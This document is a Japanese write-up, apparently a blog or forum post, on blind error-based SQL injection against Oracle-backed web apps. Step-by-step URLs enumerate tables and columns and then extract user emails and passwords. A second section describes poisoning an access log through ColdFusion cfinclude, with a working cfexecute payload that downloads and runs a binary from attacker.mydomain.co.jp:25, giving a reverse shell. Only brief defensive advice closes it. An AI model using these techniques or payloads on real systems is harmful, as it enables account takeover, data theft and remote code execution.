// SQL injectionの小技
-----------------------------------------------------------------------------
SQL injectionがあるのは判断できるけどエラーがハンドリングされてて
エラーメッセージとかから情報がひっぱれず、どうやってもUNIONで
別のSELECTが繋げられないとか、繋げられてもSELECTの直接の結果自体は
画面に表示されない場合なんぞに。
// 考え方
演算子「=」等の単一行条件で項目の値を比較する際に、一方が副問合せである場合、
その副問合わせは2つ以上の行を返してはならない。
例えば、
WHERE ~ AAA = ユーザ入力
であった場合、
WHERE ~ AAA = (2つ以上の結果を返すサブSELECT)
を書くとエラーになる。
Oracleなら、ORA-01427(うろおぼえですが。わら)
ここで、
WHERE ~ AAA = (SELECT max(0) FROM TABLE1 UNION ALL SELECT 0 FROM TABLE2 WHERE 条件式)
の様なサブSELECTを書くと、条件式にヒットする項目があった場合エラーとなり
なければ正常終了する。
// LIKE句は便利ですな
入力項目「q」にSQL injection問題があるwebアプリhoge.jspを想定する。
~ WHERE (~ AAA = 'qへの入力値' ~)
AAAは文字列型
各種項目の値の確定にはLIKE句のあいまい検索機能を利用する。
「%」でざっくり調べたり「_」で文字数を確定したり特定の位置の文字を確定したり。
とりあえずユーザ情報を狙いたいので「USER」とかにあたりをつけてから始める。
// テーブル名検索
http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25'))--
--> エラー : xxxxUSERxxxx(xxxxは任意の文字列)と言うテーブルが存在する
http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25'))--
--> エラー : USERxxxx(xxxxは任意の文字列)と言うテーブルが存在する
http://www.somecompany.co.jp/hoge.jsp?q=&#...;USER_'))--
--> 正常 : USERx(xは任意の文字)と言うテーブルは存在しない
http://www.somecompany.co.jp/hoge.jsp?q=&#...USER__'))--
--> 正常 : USERxx(xは任意の文字)と言うテーブルは存在しない
http://www.somecompany.co.jp/hoge.jsp?q=&#...SER___'))--
--> 正常 : USERxxx(xは任意の文字)と言うテーブルは存在しない
http://www.somecompany.co.jp/hoge.jsp?q=&#...ER____'))--
--> エラー : USERxxxx(xは任意の文字)と言うテーブルが存在する : 文字数確定
http://www.somecompany.co.jp/hoge.jsp?q=&#...ERA___'))--
--> 正常 : USERAxxx(xは任意の文字)と言うテーブルは存在しない
http://www.somecompany.co.jp/hoge.jsp?q=&#...ERB___'))--
--> 正常 : USERBxxx(xは任意の文字)と言うテーブルは存在しない
...
http://www.somecompany.co.jp/hoge.jsp?q=&#...ERI___'))--
--> エラー : USERIxxx(xは任意の文字)と言うテーブルが存在する
...
http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO'))--
--> エラー : USERINFOと言うテーブルが存在する
当然↓も、
http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO'))--
エラーになる
ここでは単純にLIKE句で探していったけど、対象文字列を一文字ずつsubstr()かなんかで
切り出して、それぞれの値はバイナリサーチで確定するのも多分有効だと思う。
次にテーブル内のカラム名を調べる。
上と同じく、NAMEとかIDとかPASSとかMAILとかにあたりをつけて
// カラム名検索
http://www.somecompany.co.jp/hoge.jsp?q=&#...AME%25'))--
--> エラー : テーブル「USERINFO」にはxxxxNAMExxxx(xxxxは任意の文字列)と言うカラムが存在する
以下手順はまったく同じ。
最終的に↓みたいなのが作成できる。
--------------------
USERINFO
EMAIL
PASSWORD
NAME
ADDR
TEL
SEX
...
--------------------
ここで、何らかの認証機能がメールアドレスとパスワードで認証しているとすると、
メールアドレスとパスワードをひっぱれば成りすませるかもー
と言うわけで、とりあえず誰かのメールアドレスを確定する。
// メールアドレス検索
http://www.somecompany.co.jp/hoge.jsp?q=&#....ne.jp'))--
--> エラー :
[email protected](xxxxは任意の文字列)と言うメールアドレスを持つユーザが存在する
以下同文。
成りすましたいユーザが居てメールアドレスがわかってる場合なんかはこのステップは飛ばしてもOK。
(もちろんそのメールアドレスが登録されているかの確認は必要)
最後にパスワード。
// パスワード検索
http://www.somecompany.co.jp/hoge.jsp?q=&#...'_'))--
--> 正常 : パスワードは1文字じゃなかった
http://www.somecompany.co.jp/hoge.jsp?q=&#...#39;__'))--
--> 正常 : パスワードは2文字じゃなかった
...
http://www.somecompany.co.jp/hoge.jsp?q=&#...______'))--
--> エラー : パスワードは8文字
http://www.somecompany.co.jp/hoge.jsp?q=&#...______'))--
--> 正常 : パスワードは8文字、Aでは始まらない
...
http://www.somecompany.co.jp/hoge.jsp?q=&#...______'))--
--> エラー : パスワードは8文字、Pで始まる
以下同文。
なお、メールアドレスとパスワードの検索順番は逆にして、
しょぼいパスワードを設定してるユーザのメールアドレスは・・・、
みたいに探していってもOK。
別にルールはありません。
リアル攻撃者の方の場合は、上記のような手順を手動でやるのはめんどくさいと思うんで
自動化したツールを作って回すのが結果的に時間の短縮になって嬉しいでしょう。わら
なお上記の例は上にも書いたように、
~ WHERE ~ AAA = 'ユーザ入力' ~
AAAは文字列型
みたいなのを想定していましたが、
~ WHERE ~ BBB = ユーザ入力 ~
BBBは数値型
みたいな場合は、いきなり()で囲ってサブSELECT書いてもOK。
基本的に、この方式はチェック機能が()内で完結しているので、
特に、ユーザ入力が入る位置がゴリゴリにネストしたサブSELECTのWHERE句だったりして
元のSELECT文がどんな形かはっきり判らない場合なんかに便利。
また、ユーザ入力がテーブル名やSELECTするカラム名として使われてる場合なんかにも
使えなくも無いんではないかと思います。やったこと無いけど。わら
#これは使用しているDBがインラインビューやスカラー副問い合わせをサポートしてて、
#エラーにならなかった場合に返す値を考えなきゃダメですが
また、上のはDBがOracleの場合を想定していますがテーブルやカラム情報をSELECTで
ひっぱれるなら何でも同じです。
逆に、それらへのアクセス権が適切に設定されているならこの手法は使えません。
なので、アプリにSQL injection組み込んじゃったときのフェイルセーフとして
設定しておくのをお勧めします。
ただし、テーブル名やカラム名が判っている場合には個々のカラムの値を確定
(上の例で言うとメールアドレス検索以降)するのは防げません。
そういう場合へのフェイルセーフとして、DBの中身を暗号化とか一方向ハッシュ化
するのもお勧めです。
もちろん、これらはあくまでもフェイルセーフであって、
アプリ側でのサニタイズが基本ですヽ(´ー`)ノ
-----------------------------------------------------------------------------
// 上のとはあんまり関係ないけどちょっと面白かった実例
-----------------------------------------------------------------------------
webアプリhoge.cfmではColdFusionのcfincludeタグの入力がDBからの出力の様でした。
また、入力項目idにはSQL injection問題が存在していました。
あれこれごちゃごちゃやった結果、
http://www.somecompany.co.jp/hoge.cfm?id=hoge
と入れると、
SELECT 何か,ファイル名,何か,何か,何か FROM SOMETABLE WHERE ID='hoge'
みたいな感じのSQLが組み立てられていると推測できました。
なので例えば、
// /etc/passwdを読む
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--
みたいな事が可能でした。
ここで、cfincludeタグは読み込んだファイルをColdFusionのアプリとしてパース/実行するのに注目し、
まず、httpd.confを読んで、
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--
httpd.confの内容を確認し、
---------------------------------------------------------------
--- snip ---
LogFormat "%h %l %u %t /"%r/" %>s %b /"%i/" /"%i/"" combined
--- snip ---
<VirtualHost XXX.XXX.XXX.XXX>
ServerName somecompany.co.jp
ServerAdmin
[email protected]
DocumentRoot /usr/local/apache/htdocs/hogehoge
ErrorLog logs/hogehoge_error_log
CustomLog logs/hogehoge_access_log combined
</VirtualHost>
--- snip ---
---------------------------------------------------------------
ColdFusionコマンド実行タグを作成し、
(http://attacker.mydomain.co.jp:25/fuga1をダウンロードして実行するもの。
webでColdFusionのマニュアル斜め読みして作成)
---------------------------------------------------------------
<cfset myArray=ArrayNew(1)>
<cfset myArray[1]='-O'>
<cfset myArray[2]='/tmp/fuga1'>
<cfset myArray[3]='http://attacker.mydomain.co.jp:25/fuga1'>
<cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute>
<cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute>
<cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute>
---------------------------------------------------------------
ログ残しのためにアクセスして、
---------------------------------------------------------------
GET / HTTP/1.0
Host: somecompany.co.jp
User-Agent: <cfset myArray=ArrayNew(1)><cfset myArray[1]='-O'><cfset myArray[2]='/tmp/fuga1'><cfset myArray[3]='http://attacker.mydomain.co.jp:25/fuga1'><cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute><cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute><cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute>
---------------------------------------------------------------
そのアクセスログを読み込ませるとさっき書いたタグが動作します。
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--
実行結果は以下で取得できます。
http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--
実際には、APPサーバとの親子関係を切ってから攻撃元サーバの25に
リバースコネクト形式で繋いでシェルを動かすプログラムを作ってfuga1として
送り込んだらインタラクティブなシェル環境を確保できました。
この例はたまたまColdFusionでしたが、状況が同じならPHPとかJSPでも
同じような事が可能だと思います。
ログは書いてるモノだけど書き込まれてるモノでもありますよ、と言うお話でしたヽ(´ー`)ノ
-----------------------------------------------------------------------------
おわりヽ(´ー`)ノ